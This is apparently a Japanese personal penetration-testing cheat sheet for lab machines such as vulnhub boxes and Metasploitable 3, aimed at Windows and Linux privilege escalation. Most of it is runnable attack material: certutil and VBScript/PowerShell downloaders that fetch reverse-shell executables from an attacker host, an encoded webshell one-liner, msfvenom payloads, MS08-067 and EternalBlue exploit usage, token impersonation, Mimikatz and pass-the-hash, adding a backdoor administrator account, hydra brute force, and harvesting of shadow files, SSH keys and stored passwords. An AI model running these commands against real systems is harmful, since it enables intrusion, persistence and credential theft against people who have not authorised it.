upload evil_trojan.exe c:\\windows\\system32
download c:\\boot.ini
certutil.exe -urlcache -split -f http://10.11.0.11/exploit/windows/reverse-shell4445.exe reverse-shell4445.exe
- powershell empire
upload /tmp/launcher.bat
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
echo+strUrl+%3D+WScript.Arguments.Item%280%29+%3E+wget.vbs+%26+echo+StrFile+%3D+WScript.Arguments.Item%281%29+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_DEFAULT+%3D+0+%3E%3E+wget.vbs+%26++echo+Const+HTTPREQUEST_PROXYSETTING_PRECONFIG+%3D+0+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_DIRECT+%3D+1+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_PROXY+%3D+2+%3E%3E+wget.vbs+%26+echo+Dim+http%2C+varByteArray%2C+strData%2C+strBuffer%2C+lngCounter%2C+fs%2C+ts+%3E%3E+wget.vbs+%26+echo+Err.Clear+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+Nothing+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+CreateObject%28%22WinHttp.WinHttpRequest.5.1%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22WinHttp.WinHttpRequest%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22MSXML2.ServerXMLHTTP%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22Microsoft.XMLHTTP%22%29+%3E%3E+wget.vbs+%26+echo+http.Open+%22GET%22%2C+strURL%2C+False+%3E%3E+wget.vbs+%26+echo+http.Send+%3E%3E+wget.vbs+%26+echo+varByteArray+%3D+http.ResponseBody+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+Nothing+%3E%3E+wget.vbs+%26+echo+Set+fs+%3D+CreateObject%28%22Scripting.FileSystemObject%22%29+%3E%3E+wget.vbs+%26+echo+Set+ts+%3D+fs.CreateTextFile%28StrFile%2C+True%29+%3E%3E+wget.vbs+%26+echo+strData+%3D+%22%22+%3E%3E+wget.vbs+%26+echo+strBuffer+%3D+%22%22+%3E%3E+wget.vbs+%26+echo+For+lngCounter+%3D+0+to+UBound%28varByteArray%29+%3E%3E+wget.vbs+%26+echo+ts.Write+Chr%28255+And+Ascb%28Midb%28varByteArray%2ClngCounter+%2B+1%2C+1%29%29%29+%3E%3E+wget.vbs+%26+echo+Next+%3E%3E+wget.vbs+%26+echo+ts.Close+%3E%3E+wget.vbs
Webshellが設置できると、このワンライナーをwebshell.php?cmd=echo+....
みたいにすることで、wget.vbs
を作成する
- powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
echo $storageDir = $pwd >wget.ps1 echo $webclient = New-Object System.Net.WebClient >>wget.ps1 echo $url = "http://[kali ip]/[file]" >>wget.ps1 echo $file = "[file]" >>wget.ps1 echo $webclient.DownloadFile($url,$file) >>wget.ps1
smbserver.py a /usr/share/windows-binaries/
Kali上でImpacketのsmbserver.pyを使用することで、445ポート上にSMBサーバーを立ち上げる。
windowsからは\\10.10.14.25\a\whoami.exe
などでローカルにあるようにコマンドを実行できる。
dir
,copy
なども可能。
また、Windowsから接続してきた際のsmbserver.pyのログから現在のWindowsのユーザーのハッシュが取得できる可能性がある。
blog.ropnop.com
有名なExploit
MS08-067(netapi)
python ms08-067-modi.py 10.10.10.1 7 445
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows --var-name shellcode
でカスタムペイロードを作成して、shellcodeの中身を変更して実行。
わかりやすい。
Usage: ms08-067-modi.py <target ip> <os #> <Port #> Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445 Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used) Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX) Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX) Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
github.com
www.exploit-db.com
www.exploit-db.com
MS17-010(eternal blue)
python ms17-010-zzz.py -t 10.11.1.1 -c "net user" -u root -p root
使用できる名前付きパイプが見つからない、みたいなエラーが発生する場合は、以下のスクリプトでusernameとPasswordを適当に設定する必要がある。
名前付きパイプは、
use auxiliary/scanner/smb/pipe_auditor
で使用可能なものを列挙できる。
/usr/share/metasploit-framework/data/wordlists/named_pipes.txt
に名前付きパイプのWordlistがある。
-c
で任意のコマンドをSYSTEMとして実行できる。
github.compython zzz_exploit.py -t 10.11.1.75 -u root -p root -c "cmd"
以下のスクリプトでもコマンドを実行できたが、FirewallによってOutboundが制御されている場合は実行に失敗した。(気のせい?)
github.compython send_and_execute.py 10.11.1.1 reverse-shell.exe
usernameやPasswordを設定しなくてもコマンドが実行できるなら、これでReverse shellを得られる。
github.comuse auxiliary/admin/smb/ms17_010_command
Metasploitでコマンドを実行できる。use exploit/windows/smb/ms17_010_eternalblue
MetasploitでReverse shellを得られる。
Abusing Token
meterpreter > getuid Server username: NT AUTHORITY\NETWORK SERVICE meterpreter > getprivs Enabled Process Privileges ========================== Name ---- SeAssignPrimaryTokenPrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeIncreaseQuotaPrivilege
Meterpreter上でload incognito
で利用・偽装可能なトークンを列挙できる。
Administratorに昇格できる場合がある。
meterpreter > load incognito Loading extension incognito...Success. meterpreter > list_tokens -g [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== BUILTIN\Administrators BUILTIN\Guests BUILTIN\Performance Log Users BUILTIN\Users NT AUTHORITY\Authenticated Users NT AUTHORITY\NETWORK NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\NTLM Authentication NT AUTHORITY\SERVICE NT AUTHORITY\This Organization Impersonation Tokens Available ======================================== No tokens available meterpreter > impersonate_token "BUILTIN\Administrators" [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM [+] Delegation token available [+] Successfully impersonated user NT AUTHORITY\SYSTEM meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
PowershellでTokenを操作できるスクリプトがあるらしい。
https://hacknpentest.com/privilege-escalation-through-token-manipulation/hacknpentest.com
Post Exploit
- Mimikatz
Active Directoryで管理されている組織のネットワークに所属するホストの場合は、ネットワーク管理者による管理を円滑にするために、複数の端末で共通のパスワードが設定された状態でアカウントが有効化されている場合が多い。
よって、SYSYEMを取得したあとは、ホストに保存されているNTLMハッシュのダンプして、PassTheHashによって同じパスワードを使用している、同じネットワーク内の別のホストへと横移動できる
Mimikatzは実行に管理者権限を必要とする
Invoke-Mimikatz -DumpCreds
,Seatbelt.exe
で確認 Pass the Hash
fgdump.exe
wce32.exe -w
python psexec.py Administrator:password@10.11.1.1
資格情報が得られた場合はImpacketのPsExecモジュールでログインできるかも。python wmiexec.py -hashes :aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Administrator@10.11.1.1
hashが得られている場合はImpacketのwmiexecモジュールでPTHできるかも。
:aaa...
とすることでLMハッシュを省略。
www.hackingarticles.in
blog.ropnop.com
add backdoor
net user backdoor pass /add
net localgroup administrators backdoor /add
todo!!
以下を参照
github.com
参考文献
PEの方法を非常に丁寧に書いてあってわかりやすい。
github.com
www.fuzzysecurity.com
github.com
sushant747.gitbooks.io
github.com
vulnhub 調査方針メモ
WindowsのPrivilegeEscalationと調査方針のメモです。
自分用のチートシートも兼ねているので、見にくかったり適当なのはご容赦ください。
Linux のPrivilege EscalationとInformationGatheringは以下に雑にまとめています。
7万字を超えたあたりからレスポンスが遅くなって編集しづらいので分割しました。
kakyouim.hatenablog.com
2020 3/4追記
Privilege Escalationをまとめた記事を新しく作成したので、ここに書いていたWindowsPEは以下を参照してください。
調査の順番
Information Gathering
scan
- portの正確なEnum(tcp,udp)
- 各portで動いているサービスのバージョンの特定(可能であれば)
見たことなければ参照。あっても参照した方がいいかも。
sushant747.gitbooks.io - Webserverのバージョン特定
- Web Applicationの特定
python3 autorecon.py 192.168.56.5
とりあえずAutoReconを実行しておく
ただしnmapやniktoを使うので出力に時間がかかる
AutoRecon
のUDPスキャン
も確認する
_quick_tcp_nmap.txt
がhost downになっていると失敗しているので、AutoReconを再度やり直す。
nmap -vv --reason -Pn -sV -sC --version-all 10.11.1.1
を実行している。(1000portをdefault categoryでScan)bash onetwopunch.sh -t target.txt -p tcp -i tap0
nmapに比べて圧倒的に早いbash onetwopunch.sh -t target.txt -p udp -i tap0
UDPでも行うnmap 192.168.56.5 --top-ports 10 -open
情報は少ないが、一瞬で列挙できる.
ftp, ssh, telnet, smtp, http, POP3, netbios-ssn, https, microsoft-ds, ms-wbt-server
を確認。
nmap 192.168.56.5 --top-ports 100 -open
も実行。
nmap -p- -sV -sT -A 192.168.56.13
-p-
をすると時間がかかるが、AutoReconで漏れがあることが稀にあるので実行しておく。
ポートスキャンでは絶対にEnum漏れはダメなのでnmap以外でも試したり、二重に確認するnikto -h 192.168.56.5
時間がかかるためとりあえず早めに実行しておくgobuster -u http://192.168.56.5/ -w /usr/share/dirb/wordlists/big.txt -s '200,204,301,302,307,403,500' -e
dirb
やwfuzz
よりも速い
ディレクトリが見つかれば再度その中でgobuster
-k
オプションでhttps
のinvalid certificate
のerrorを回避。curl -v 192.168.56.5
ヘッダの情報などを確認curl 192.168.56.5 -s -L | html2text
レンダリングenum4linux -a 10.11.1.1
AutoReconでも実行するが出力内容が違うことがある(??)ので手動でも実行。
Sambaのバージョンが特定できていない場合はsmbver.sh
やuse auxiliary/scanner/smb/smb_version
を使用。
bash smbver.sh 10.11.1.1 139
python3 parsero.py -u 192.168.56.5
robots.txt
に書かれているDisallowの場所を調べる
- portの正確なEnum(tcp,udp)
user,password listの作成
列挙した情報から得られたユーザー名などをメモする
マシンのホスト名もWordlistに加える。- portの詳細な調査
あやしいものなどはtodoやMemoとして追加していく
上に行くほど優先度が高くなるように順次入れ替えなどを行う
各ポートの詳しい調査は以下を参照。
github.com
80 port (30分)
- Burp Spiderを使ってSpideringする。Applicationの特定につながるかも
- Sorce codeを読んでApplicationやCMSの特定
- AddOnやModuleの確認
- Install.txtなどの設定やVersionが読み取れるファイルにアクセスできるか確認
- LoginでデフォルトLogin、SQLInjetionできるか確認
nmap -vv --reason -Pn -sV -p 80 --script="banner,(http* or ssl*) and not (brute or broadcast or dos or external or http-slowloris* or fuzzer)" 10.11.1.0
AutoReconが列挙漏れした場合、Nmapは手動で行わないといけない。- その他の挙動など
そのほかのポートも時間を決めて調査する。Exploitはまだ探さない(すべてを列挙する必要がある)
- Burp Spiderを使ってSpideringする。Applicationの特定につながるかも
110(POP)
- Banner の取得
これ結構大事(な気がする)
そのポートの挙動を大体把握する必要がある
telnet 192.168.56.5 110
telnetでUSER PASSなどでログインできるのかなど
- NSE script
- Metasploit
- other tools
- Banner の取得
- **22(ssh)
- Bannerの取得
password認証?公開鍵認証?既知のFingerprint?
- Bannerの取得
- 139/445(smb)
OSのバージョン、Sambaのバージョンの両方の特定
- exploitの検索
Google
大事searchsploit aaaa | grep -vi 'dos' | grep -vi 'windows'
今まで得られた情報(ポートで動いているSoftwareのバージョンなど)の中のあり得るすべてのExploitを探して、その中から明らかにExploitが存在しないものを除外していく。
Exploit
- 目標
IGで見つけたexploitを試してみる
優先度が高いものから順に30~90分の時間で動くかどうか確認する。
動かす前に必ずどういうExploitか確認。
対象のOSは?? remote/local/dos ?? unix/linux/windows ??
自分で書いていないコードを読んでいるとき、すべての行にコメントを追加すると理解しやすい
それっぽい脆弱性が見つかれば、nmap
のScriptを使って確認するの良さそう
Reverse shell payloadを試す前に、Payloadが実行できるのかどうかを確認する(payloadが違うのかFirewallがあるのかなどの原因を特定しやすくする)
windows用のバイナリをクロスコンパイルするときは、
i686-w64-mingw32-gcc test.cpp -o test.exe -lws2_32
-lws2_32
でWindowsでソケット通信を行うのに必要なライブラリを指定してコンパイル。
wine test.exe
で実行する。wordlistの作成
cewl -w wordlist http://192.168.136.212:1898/?q=node/1
book.hacktricks.xyz
- ssh Brute force
hydra -L /usr/share/metasploit-framework/data/wordlists/http_default_users.txt -P /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.16 ssh
hydra -e nsr -L user -t 4 192.168.56.16 ssh
hydra -L user -P /usr/share/wordlists/rockyou.txt -t 4 192.168.56.16 ssh
python crowbar.py -b sshkey -s 192.168.56.5/32 -u root -k /opt/ssh-badkeys/authorized/private
- rdp Brute force
ncrack -vv --user administrator -P password-file.txt rdp://192.168.56.5
Windowsの場合
privilege escalation
Information Gathering(Enum)
- powerless.bat
accesschk.exe
をアップロードしてから実行するとよい - Sherlock.ps1
- Session Gopher.ps1
- JAWS
- WindowsEnum.ps1
- PowerUp.ps1
- beRoot
- windows-privesc-check2.exe
- windows-exploit-suggester.py
- Find-PathDLLHijack.ps1
- Seatbelt.exe
- SharpUp.exe
- Metasploit
use post/multi/recon/local_exploit_suggester
exploit/windows/local/service_permissions
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=4444 -f exe > shell.exe
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 10.11.0.1 set lport 4444
- Manual
systeminfo
net user
net user john
net localgroup
net localgroup administrators
accesschk.exe -ucqv wampapache
Serviceのレジストリキーへの権限を確認。sc qc upnphost
Serviceのレジストリキーの値を確認。
SERVICE_START_NAME
でサービスがどの権限で起動しているかわかる(??)sc sdshow wampapache
Serviceに対する権限(WP:停止,RP:起動)を確認。autorunsc.exe -a | findstr /n /R "File\ not\ found"
自動起動するようなサービスで、その実行ファイルが存在しないようなサービスがないか確認。
これらのツールを使ってまずは以下をざっくりと調べる
深追いはしない。怪しければTodoに優先度順に追加していく
- Powershellが使える場合(Windows 7 / Windows Server 2008 R2 以降)
Empireは実行が遅いやつがあるので、あらかじめ決めておいたScriptのみ実行。あとはExeをUploadするために使う。
certutil.exe -urlcache -split -f "http://10.11.0.11/exploit/windows/launcher.bat" launcher.bat
でStagerをUploadして実行。
spawn lister名
で一つのSessionは残しておく(実行中にSessionが切れたら嫌なので)。
upload /var/www/html/priv/windows/Accesschk/accesschk.exe
upload /var/www/html/priv/windows/Autoruns/autorunsc.exe
で調査に必要なバイナリをUploadしておく。
upload /var/www/html/exploit/windows/reverse-4445.exe
で、meterpreter
を使いたいならUploadして実行する。 - Powershellが使えない場合
tftp
などを使うことになる。
以下から紹介するツールのPSスクリプトが実行できないので、足りない場所は手動で補う。
system
powerless.bat
------ System Info (Use full output in conjunction with windows-exploit-suggester.py)------- ----- Architecture -------
echo %PROCESSOR_ARCHITECTURE%
OSの名前やバージョンやx86かx64か。
powerless.bat
やJAWS
, systeminfo
,Seatbelt.exe
で調べる
XP SP1
ならupnphost
のBINARY_PATHを書き換えられる脆弱性がある可能性
Windows Vista / 7/8
ならIKEEXT
などの存在しないDLLを読み込もうとする脆弱性の可能性
Users
powerless.bat
の
------ Users and groups (check individual user with 'net user USERNAME' ) Check user privileges for SeImpersonate (rotten potato exploit) ------- USER INFORMATION ---------------- GROUP INFORMATION ----------------- --- All users, accounts and groups --- ------- Administrators --------
jaws
の
----------------------------------------------------------- Users -----------------------------------------------------------
Seatbelt.exe
,JAWS
などで調べる
net user
,net localgroup
,net localgroup "Remote Desktop Users"
自分のグループの権限、ほかのユーザーの権限などを調べて、どのユーザーのプロセスを使えば権限昇格できるかを確認する
RDPできるユーザーも確認
Network
powerless.bat
の
------- Network shares ------- ------- Firewall ------ ------ Network information ------ ------- Current connections and listening ports -------
Privilege
powerless.bat
の
PRIVILEGES INFORMATION ----------------------
powerless.bat
,SharpUp.ps1
,Seatbelt.exe
などで注目すべき権限を持っているかどうか確認
SeImpersonatePrivilege
を持っていてx64の場合、Juicy Potatoが有効
環境変数のチェック
powerless.bat
の
------- Environment Variables -------
Seatbelt.exe
などで確認
PATHに書き込みができる場合は、DLLHijackやフルパスでないコマンドの実行などいろいろ悪用できるためチェックしておく
Find-PathDLLHijack
を使っても確認できる
Process
jaws
の
----------------------------------------------------------- Processes -----------------------------------------------------------
JAWS
,Seatbelt.exe
で確認
手動では
tasklist /v /fi "username eq system" tasklist /v
Services
powerless.bat
の
------- Services Currently Running (check for Windows Defender or Anti-virus) ---------
JAWS
,Seatbelt.exe
で確認
手動では、
tasklist /SVC wmic service list brief net start
Sceduled Tasks
powerless.bat
の
------- Scheduled Tasks Names Only -------
jaws
の
----------------------------------------------------------- Scheduled Tasks -----------------------------------------------------------
JAWS
で確認
SYSTEMで実行されて、上書き可能なものを探す。
手動では、
schtasks /query /fo LIST /v
writiable
file/Directory
powerless.bat
の
--- Program Files and User Directories where everybody (or users) have full or modify permissions ---
jaws
の
----------------------------------------------------------- Files with Full Control and Modify Access ----------------------------------------------------------- ----------------------------------------------------------- Folders with Full Control and Modify Access ----------------------------------------------------------- ----------------------------------------------------------- Potentially Interesting Files in Users Directory -----------------------------------------------------------
beRoot
,powerless.bat
,PowerUp.ps1のInvoke-AllChecks
,SharpUp.exe
SharpUp.exe
でPATH変数
に含まれるディレクトリに書き込めるかも確認
できるならDLLHijackの可能性が残る
Service
powerless.bat
の
--------------- AccessChk (checks permissions for Authenticated Users, Everyone, and Users)------------------ --- Accesschk World writeable folders and files ---- --- Accesschk services with weak permissions --- --- Accesschk services that we can change registry values for (such as ImagePath) ---
PowerUp
の
[*] Checking service executable and argument permissions... [*] Checking service permissions... [*] Checking %PATH% for potentially hijackable DLL locations... [*] Checking for modifidable registry autoruns and configs... [*] Checking for modifiable schtask files/configs...
windows-priv-check
の
------------------------------------------------------------------ Title: DLLs Used by Running Processes Can Be Modified On Disk ------------------------------------------------------------------ Title: Windows Service Executable Is Missing
SharpUp.exe
accesschk.exe -ucqv wampapache
Get-Acl -Path HKLM:\System\CurrentControlSet\Services\regsvc
**Process**,**Services**で、SYSTEMなどの昇格できるユーザーで動作しているサービスに対しては価値があるので書き込みができるかどうか確認
それ以外の低権限のサービスは見ない
`RW`が**NT AUTHORITY\Authenticated Users**などに与えられているか確認
また、レジストリキーが書き込み可能なら、`ImagePath`などを書き換えることができる
unquoted file path
powerless.bat
の
---Unquoted Service Paths (requires that the directory from which this script is run is user writeable. If it is not, you can use the WMIC command below) ---
JAWS
wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
引用符で囲まれていないかつ、PATHに空白を含む場合、PATHの途中にバイナリを設置してそれを実行させられる
AlwaysInstallElevated
powerless.bat
の
--- AlwaysInstallElevated Check ---
SharpUp.exe
で1
かどうか確認
Get System
beRoot
,Get-System -Technique NamedPipe
で確認
Credential
- stored credentials
powerless.bat
の-- Stored Passwords -- -- Checking for any accessible SAM or SYSTEM files -- --- Searching Registry for Passwords ---
cmdkey /list
powerless.bat
の---Search for Configuration and sensitive files--- -- Broad search for config files -- --- Broad search for any possible config files which may contain passwords ---手動では、
dir /s /b /a C:\ | findstr /i 'pass cred vnc .config sysprep Unattended Groups.xml Services.xml ScheduledTasks.xml Printers.xml Drives.xml DataSources.xml' dir /s /b /a C:\ | findstr /i "pass cred vnc .config sysprep Unattended Groups.xml Services.xml ScheduledTasks.xml Printers.xml Drives.xml DataSources.xml
powerup
の[*] Checking for unattended install files...
SharpUp.exe
で確認type C:\Windows\system32\sysprep.inf
type C:\Windows\system32\sysprep\sysprep.xml
where C:\sysprep.inf
where C:\sysprep\sysprep.xml
where %WINDIR%\Panther\Unattended.xml
where %WINDIR%\Panther\Unattend\Unattended.xml
`Seatbelt.exe`,`Session Gopher`
- Web root
C:\wamp\www\PHP>type config.php
- Others
----------------------------------------------------------- System Files with Passwords -----------------------------------------------------------`PowerUp`の
[*] Checking for encrypted web.config strings... [*] Checking for encrypted application pool and virtual directory passwords... [*] Checking for plaintext passwords in McAfee SiteList.xml files.... [*] Checking for cached Group Policy Preferences .xml files....
Sealbelt.exe
で確認type wampmanager.ini | find /I "password"
where Services.xml
where ScheduledTasks.xml
where Printers.xml
where Drivers.xml
where DataSources.xml
C:\Devtools
のような開発者のコメントが見込める場所
`.ini`,`.config`,`.xml`,`.txt`などのファイルを見るC:\Windows\System32>dir /s *pass* == *cred* == *vnc* == *.config*
C:\Windows\System32>findstr /si password *.xml *.ini *.txt
C:\Windows\System32>reg query HKLM /f password /t REG_SZ /s
これらは後回しにして後でじっくり見た方がよさそう
効果的な見方(目星の付け方など)はよくわからない
ざっと見て特になかったら後回しにしてもよさそう
Kernel Exploit
python windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
この中からPEできそうなExploitを選ぶ
Patch未適応なものをEnumしてるだけなので、PEとは無関係なExploitもあるため見極める(todo)searchsploit windows microsoft privilege escalation | grep -vi 'dos' | grep local | grep -vi 'x86-64' | grep '\ 7\ '
実行する際に以下を参考にする
github.comuse post/multi/recon/local_exploit_suggester
metasploitを使えばExploitの実行にほぼ時間はかからないので、ちゃっちゃとやるのもありといえばあり(?)Google
ググるのも大事
以下にいろんなコンパイル済みのバイナリがある。
ありがてえ……!!!
github.com
Drivers
DRIVERQUERY
量が多すぎるので後回し
Programs
powerless.bat
の
-------- Exploring program directories and C:\ --------- --- Program Files --- --- Program Files (x86) --- --- Root of C:\ ----
jaws
の
----------------------------------------------------------- Installed Programs -----------------------------------------------------------
windows-priv-checks
の
------------------------------------------------------------------ Title: Vulnerable Software Version Installed
powerless.bat
,JAWS
で確認
TODO
その他
怪しいファイルに読み込み権限しかない場合、コピーしてradare2
などで解析して、フルパスではなく呼び出されているようなコマンドなどを調べる。
その場合、PATH変数のディレクトリに書き込むことで任意の実行ファイルを実行させる
これらを見ても見つからない場合、以下を参照していく
post exploit
- Pass the Hash
- fgdump.exe
- wce
use post/windows/gather/hashdump
todo
- fgdump.exe
Linuxの場合
privilege escalation
Information Gathering(Enum)
情報収集
- LinEnum.sh
- linuxprivchecker.py
- suid3num.py
- linpeas.sh
- lse.sh
- uptux.py
これらのツールを使ってまずは以下をざっくりと調べる
深追いはしない。怪しければTodoに優先度順に追加していく - system
linpeas.sh
Kernel versionなど
3.3.0
などの低い状態であればKernel Exploitが期待できる - Users
linpeas.sh
userからデフォルトではないユーザー名、その権限で動くSoftwareがわかる
/etc/passwd
,/etc/profile
などのユーザー名やクレデンシャルをWordlistに追加する - cron
linpeas.sh
- network
linpeas.sh
,linEnum.sh
iptables -L
などでFirewallによって外部からは見えないようなサービスが動いていないか確認(mysqlなど) - process
linpeas.sh
,LinEnum.sh
怪しい場所(/opt/など)で動作しているプロセスがないか確認 - SUID/SGID
linpeas.sh
,suid3num.py
Defaultでビットが立っていない実行ファイルなどを確認 - Software
linpeas.sh
で入っているサービスを確認できる - sudo/mysql version
これらのバージョンを確認 - config files
LinEnum.sh
設定ファイル(sshd_confなど)を確認する
find -iname '*config*'
などで/var/www/html
やその他のSoftwareの設定ファイルを探す
クレデンシャルが書いてあることもある
cat /etc/ssh/sshd_config
PasswordAuthentication
PermitRootLogin
RSAAuthentication
PubKeyAuthentication
AuthorizedKeysFile
等を確認してパスワードBruteForceができるのか確認。
秘密鍵がないかどうか確認
- writable files/directories
linpeas.sh
root
が所有者でその他が書き込める実行ファイルがないかどうか確認 credential/password
linpeas.sh
find . | xargs grep "password"
などで探す
Web rootやその他のSoftwareがある場所で行うfind -iname '*config*'
cat /etc/passwd
grep -vE "nologin|false" /etc/passwd
mysql -h 127.0.0.1 -u root -p
databaseから得られたハッシュをjohn
などでクラック
cewl
で得られたWordlistでもクラックする
/opt, /var, /home/user, /usr/src, /usr/local/src, /mediaを確認
これらの場所でSoftwareが動いていないかなど確認- sudo -l / su
自分がsudo
できるのかどうかは絶対に確認
得られたクレデンシャルでsu
でほかのユーザーに昇格できるか試す
他のユーザーならsudo
できる可能性は高い
- LinEnum.sh
Enum Kernel Exploit
- kernelpop
- linux-exploit-suggester.sh
- Linux_Exploit_Suggester.pl
- linux-exploit-suggester-2.pl
- BeRoot
- auto_priv_exploit.sh
これはKernelバージョンと調べて、Kaliで動かす
github.com
- searchsploit
searchsploit kernel local privilege escalation linux | grep -vi 'x86-64' | grep -i '\ 3.' | grep -vi '<\ 3.1'
- Google
これらの中から最も動きそうなものを2~3個までなら試す。
深追いしない
対象上でコンパイルする方がよい。
実行する時、Shellはできるだけ良いものがよい
- kernelpop
Exploit
得られたクレデンシャルで別のユーザーとしてログイン試行
hydra -l root -P wordlist.txt -t 4 192.168.56.16 ssh
コマンドの悪用
sudo -l
gtfobins.github.io
SUID, SGIDが立っている怪しい実行ファイルはExploitを確認
Exploit Software
Linpeas.sh
[Services]にあるサービスのバージョンを確認するps -aux
- /var/
- /opt/
- /usr/src/
- /usr/local/src
- /home/user/
- /media/
など変な場所にInstallされているソフトは怪しい
- /var/
cat /etc/passwd
UIDが1000以上のユーザーが登録されている場合、そのユーザーで動作するソフトがInstallされているかもで怪しいnetstat -antup
Firewallによって外部からは見えないようなソフトが動いていないかどうか確認dpkg -l
rpm -qa
- Exploit Kernel
上記のツールで得られたExploitを試す
searchsploit
も試す
post exploit
ifconfig
IPやNICをほかにもっていないかを見て、他のNetworkにつながっていないかどうか確認/.ssh/id_rsa
秘密鍵があればコピーしておく
別のマシンにこの秘密鍵を使って公開鍵認証でSSHログインできるかもcat /etc/shadow
/etc/passwd
と/etc/shadow
はコピーしてクラックしておく
同じPasswordが別のマシンで使われているかも/tmp/krb5*
Kerberosチケットの取得。/home/*/.gnupg/secring.gpgs
PGP Keyの取得。
最後に
参考になれば幸いです。
この記事はどんどんアップデートして付け足していくので、時間がたったら内容がだいぶ変わってると思います。
なんかアドバイスとかあればぜひ!
Metasploitable 3:攻略ノススメ
- ポートスキャン
- Webサービスの調査
- ftpの調査
- sshの調査
- snmp(161)の調査
- smb(445)の調査
- Java RMI(1617)の調査
- Windows Remote Management (WinRM)(5985)の調査
- Elasticsearch(9200)の調査
- Webサービスの攻撃
- Reverse Shell
- Local Privilege Escalation
- 参考文献
- 最後
ポートスキャン
nmap -p- -sV -sT -A 192.168.56.35
python3 autorecon.py 192.168.56.35
cat notes.txt
[*] ftp found on tcp/21. [*] ssh found on tcp/22. [*] http found on tcp/80. [*] ssl/appserv-http found on tcp/4848. [*] http found on tcp/8022. [*] http found on tcp/8080. [*] ssl/http found on tcp/8383. [*] wap-wsp found on tcp/9200. [*] msrpc found on tcp/49153. [*] msrpc found on tcp/49154. [*] java-rmi found on tcp/49160. [*] tcpwrapped found on tcp/49161. [*] snmp found on udp/161. [*] java-rmi found on tcp/1617. [*] http found on tcp/5985. [*] http found on tcp/8020. [*] unknown found on tcp/8027. [*] http found on tcp/8282. [*] http found on tcp/8484. [*] http found on tcp/8585.
cat _full_tcp_nmap.txt
参考
github.com
Webサービスの調査
80ポートの調査
nikto -h 192.168.56.35:80
とくになし
5985ポートの調査
nikto -h 192.168.56.35:5985
8020ポートの調査
nikto -h 192.168.56.35:8020
wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.35:8020/FUZZ
8020ポートの調査
nikto -h 192.168.56.35:8022
8080ポートの調査
nikto -h 192.168.56.35:8080
wfuzz -w /usr/share/SecLists/Fuzzing/fuzz-Bo0oM.txt --filter "c=200" http://192.168.56.35:8080/FUZZ
8282ポートの調査
nikto -h 192.168.56.35:8282
8383ポートの調査
nikto -h 192.168.56.35:8383
8484ポートの調査
nikto -h 192.168.56.35:8484
8585ポートの調査
nikto -h 192.168.56.35:8585
ftpの調査
hydra -e nsr -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.35 ftp
/usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt
/usr/share/wfuzz/wordlist/general/big.txt
でも試してみたがダメだった。
Loginしてみる
クレデンシャル情報っぽいものは特に見つからなかった
sshの調査
hydra -e nsr -L /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -t 4 192.168.56.35 ssh
/usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt
/usr/share/wfuzz/wordlist/general/big.txt
でも試してみたがダメだった。
Loginしてみる
catなどができない。
cmdでWindowsのコマンドプロンプト起動!
powershellは起動させるとバグって操作できなくなる
type passwd
snmp(161)の調査
cat udp_161_snmp_snmpwalk_user_accounts.txt
AutoRecon
の出力結果を見ると、ユーザー一覧が列挙されている
sshd Guest greedo vagrant han_solo kylo_ren boba_fett chewbacca ben_kenobi jabba_hutt artoo_detoo c_three_pio darth_vader leia_organa sshd_server jarjar_binks Administrator luke_skywalker anakin_skywalker lando_calrissian
をuser.txt
として保存し、Login Bruteforceに使う
(ssh,ftpでも試したが、有効なのはvagrant
だけだった)
smb(445)の調査
- EternalBlue
EternalBlue は、「Windows SMB1.0(SMBv1)」サーバが特定のリクエストを処理する際のセキュリティ上の欠陥です。より具体的には、WindowsSMBv1 のコード内のカーネル関数「srv!SrvOs2FeaListToNt」による「File ExtendedAttribute(拡張ファイル属性、FEA)」処理時に「Large Non-PagedPool(ラージ非ページプール)領域」のバッファオーバーフローを発生させる脆弱性です。
use exploit/windows/smb/ms17_010_eternalblue
